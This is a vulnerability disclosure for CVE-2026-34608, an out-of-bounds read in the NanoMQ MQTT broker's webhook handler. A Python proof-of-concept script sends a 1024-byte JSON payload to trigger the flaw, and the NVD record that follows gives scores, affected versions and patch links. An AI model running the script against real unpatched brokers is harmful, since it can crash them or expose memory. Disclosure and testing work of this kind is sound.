CVE-2026-34608

import paho.mqtt.client as mqtt import json import time # NanoMQ OOB Read PoC (CVE-2026-34608) # This script sends a JSON payload with a length of 1024 bytes (power of 2) # to trigger the out-of-bounds read in webhook_inproc.c. TARGET_BROKER = "127.0.0.1" TARGET_PORT = 1883 TARGET_TOPIC = "test/webhook" # Ensure a webhook rule is configured for this topic # Construct a JSON payload that is exactly 1024 bytes long. # cJSON_Parse expects a string, but the underlying buffer lacks null termination # when size is power of 2 >= 1024. data = "A" * 1016 payload = '{"data": "' + data + '"}' # Verify length is 1024 (Power of 2) assert len(payload) == 1024, f"Payload must be 1024 bytes, current: {len(payload)}" def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") # Send the malicious payload client.publish(TARGET_TOPIC, payload) print(f"Payload sent to {TARGET_TOPIC}") def on_publish(client, userdata, mid): print(f"Message {mid} published.") client.disconnect() client = mqtt.Client() client.on_connect = on_connect client.on_publish = on_publish try: client.connect(TARGET_BROKER, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34608", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:32.357", "lastModified": "2026-04-10T15:59:59.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanoMQ MQTT Broker (NanoMQ) is an all-around Edge Messaging Platform. Prior to version 0.24.10, in NanoMQ's webhook_inproc.c, the hook_work_cb() function processes nng messages by parsing the message body with cJSON_Parse(body). The body is obtained from nng_msg_body(msg), which is a binary buffer without a guaranteed null terminator. This leads to an out-of-bounds read (OOB read) as cJSON_Parse reads until it finds a \\0, potentially accessing memory beyond the allocated buffer (e.g., nng_msg metadata or adjacent heap/stack). The issue is often masked by nng's allocation padding (extra 32 bytes of zeros for non-power-of-two sizes <1024 or non-aligned). The overflow is reliably triggered when the JSON payload length is a power-of-two >=1024 (no padding added). This issue has been patched in version 0.24.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-457"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.24.10", "matchCriteriaId": "FE31E670-F1FF-49F4-8937-96E87F9DAC1F"}]}]}], "references": [{"url": "https://github.com/nanomq/nanomq/commit/9499a4b2c47998a6aadb69238c18b9e6771b1691", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nanomq/nanomq/releases/tag/0.24.10", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nanomq/nanomq/security/advisories/GHSA-8p57-jxj9-3qq3", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}